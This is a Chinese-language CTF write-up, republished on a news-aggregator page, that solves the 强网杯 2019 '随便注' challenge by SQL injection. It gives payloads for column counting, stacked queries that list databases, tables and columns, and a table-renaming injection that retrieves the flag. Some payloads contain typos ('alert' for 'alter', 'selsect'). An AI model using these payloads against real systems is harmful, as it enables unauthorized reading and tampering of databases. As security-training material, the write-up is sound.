tft每日頭條

 > 生活

 > sql注入漏洞原理與利用

sql注入漏洞原理與利用

生活 更新时间:2025-01-09 03:48:14
[強網杯 2019] 随便注

每天學習網絡安全知識,本文記錄強網杯的一個SQL注入題。

sql注入漏洞原理與利用(黑客必會之SQL注入學習)1

使用單引号測試,發現頁面報錯,說明此處存在SQL注入漏洞。

sql注入漏洞原理與利用(黑客必會之SQL注入學習)2

1' 1''

sql注入漏洞原理與利用(黑客必會之SQL注入學習)3

既然此處存在漏洞,那麼我們就走正常流程測試下,如果不知道SQL注入正常流程的可以去看下我的sqllibs注入教程。

1.猜字段數

1' order by 3# 1' order by 2#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)4

sql注入漏洞原理與利用(黑客必會之SQL注入學習)5

使用第一個payload測試的時候發現頁面報錯,再使用第二個payload時發現頁面顯示正常,因此我們可以得知當前數據庫當前表存在2個字段。這時候嘗試union select進行聯合查詢。

2.使用聯合查詢

sql注入漏洞原理與利用(黑客必會之SQL注入學習)6

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

發現頁面提示過濾了許多關鍵的命令,看來需要一些騷操作了。

3.嘗試堆疊注入

1';show databases#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)7

發現成功爆出所有數據庫。使用show tables;試試看看能不能得到表名

-1';show tables#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)8

成功爆出當前數據庫的兩個表名;嘗試查詢表中的字段

0';show columns from `1919810931114514`;#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)9

發現有一個flag字段,接下來就是嘗試讀取flag。

4. 再查看words表的結構

0';desc words;#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)10

可以猜測我們提交查詢的窗口就是在這個表裡查詢數據的。

5. 那麼查詢語句很有可能是 : selsect id,data from words where id =

然後1919810931114514隻有一個flag字段這時候雖然有強大的正則過濾,但沒有過濾alert和rename關鍵字這時候我們就可以已下面的騷姿勢進行注入:1.将words表改名為word1或其它任意名字2.1919810931114514改名為words3.将新的word表插入一列,列名為id4.将flag列改名為data

1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)11

成功拿到flag。

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关生活资讯推荐

热门生活资讯推荐

网友关注

Copyright 2023-2025 - www.tftnews.com All Rights Reserved